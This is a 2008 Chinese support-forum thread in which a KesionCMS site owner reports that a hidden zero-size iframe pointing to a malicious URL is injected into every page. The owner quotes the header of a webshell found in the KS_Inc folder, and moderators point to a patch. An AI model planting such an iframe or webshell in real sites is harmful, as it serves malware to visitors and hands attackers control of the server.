账号通
    

账号  

密码  

2952

查看

4

回复
主题:终于找到病毒了。高手快来分析一下这个文件 [收藏主题] 转到:  
lsfdc 当前离线

648

主题

1

广播

0

粉丝
添加关注
级别:六年级

用户积分:6080 分
登录次数:605 次
注册时间:2008/1/14
最后登录:2022/12/14
lsfdc 发表于:2008/3/15 23:22:00   | 只看该作者 查看该作者主题 楼主 
科汛在线商城系统(NET)

 下载信息  [文件大小:50.95 KB 下载次数: 次]
点击下载文件:caohao


病毒文件小心!!!


 


该病毒在KS_Inc 文件夹里面。


 


中毒现象 每天网站所有的 文件都被加入了一段代码  : <iframe src="http://88.881215.com/88.htm" width=0 height=0></iframe>


 


高手分析一下这个是什么病毒? 怎么到了我的网站?


 


以下是病毒文件里面的部分代码 这个网站 http://www.163361.cn


是不是病毒 制造者的网站??


如果是高手教训哈那个 害人精!!!


 


 


<%@ LANGUAGE = VBScript.Encode%><%
Server.ScriptTimeout=999999999
Response.Buffer =true
On Error Resume Next
UserPass="187298273185298273199298273192298273185298273199298273"
mName="Cracker专用"            
SiteURL="http://www.163361.cn"               
Copyright="注:请勿用于非法用途,否则后果概不负责<br>QQ:10000<br><a href=http://www.163361.cn>中国国家信息安全中心</a>"     


BodyColor="#7B869A"    '整体页面背景颜色
FontColor="#eee"       '普通文字颜色
LinkColor="#ccc"       '链接颜色
BorderColor="#7a7888"  '文件边框颜色
LinkOverBJ="#7a7888"   '鼠标移到链接上面背景的颜色
LinkOverFont="red"     '鼠标移到链接上面文字的颜色


FormColorBj="#ddd"     '输入框架背景颜色
FormColorBorder="#222" '输入框架边框颜色

 
  支持(0) | 反对(0) 回到顶部顶端 回到底部底部
科汛官方 当前离线

47268

主题

145

广播

405

粉丝
添加关注
级别:管理员

用户积分:101604 分
登录次数:7935 次
注册时间:2006/12/7
最后登录:2023/12/14
科汛官方 发表于:2008/3/20 8:59:00   | 只看该作者 查看该作者主题 沙发 
科汛在线网校系统
http://bbs.kesion.com/dispbbs.asp?boardid=41&id=29503&star=1&page=1
 
  支持(0) | 反对(0) 回到顶部顶端 回到底部底部
一生有你 当前离线

10439

主题

0

广播

18

粉丝
添加关注
级别:版主

用户积分:72521 分
登录次数:1969 次
注册时间:2006/7/1
最后登录:2021/8/25
一生有你 发表于:2008/4/1 15:36:00   | 只看该作者 查看该作者主题 藤椅 

http://bbs.kesion.com/dispbbs.asp?boardid=41&Id=46455

补丁都出来了,快点去打上.把现在网站上的木马文件查出来,删除了.打补丁还是不够的

 
  支持(0) | 反对(0) 回到顶部顶端 回到底部底部
lsfdc 当前离线

648

主题

1

广播

0

粉丝
添加关注
级别:六年级

用户积分:6080 分
登录次数:605 次
注册时间:2008/1/14
最后登录:2022/12/14
lsfdc 发表于:2008/4/1 15:35:00   | 只看该作者 查看该作者主题 板凳 
科汛在线商城系统(NET)

仅仅只是替换能解决根本问题???

最初按照替换的方法,我每天都需要进行此工作。连续奋斗了一周!!!希望官方给予满意的解决方法!

 
  支持(0) | 反对(0) 回到顶部顶端 回到底部底部
lsfdc 当前离线

648

主题

1

广播

0

粉丝
添加关注
级别:六年级

用户积分:6080 分
登录次数:605 次
注册时间:2008/1/14
最后登录:2022/12/14
lsfdc 发表于:2008/3/20 8:37:00   | 只看该作者 查看该作者主题 报纸 
做在线知识付费 选科汛云开店

中毒的状况

<iframe src="http://88.881215.com/88.htm" width=0 height=0></iframe>
所有文件都有这样的一段代码!请问这是 科讯程序漏洞 还是服务器本身也有漏洞。 如果设置文件夹权限。需要限制那几个文件夹?


 

 
  支持(0) | 反对(0) 回到顶部顶端 回到底部底部
<上一主题 | 下一主题 >
Powered By KesionCMS Version X1
厦门科汛软件有限公司 © 2006-2016 页面执行0.15625秒 powered by KesionCMS 9.0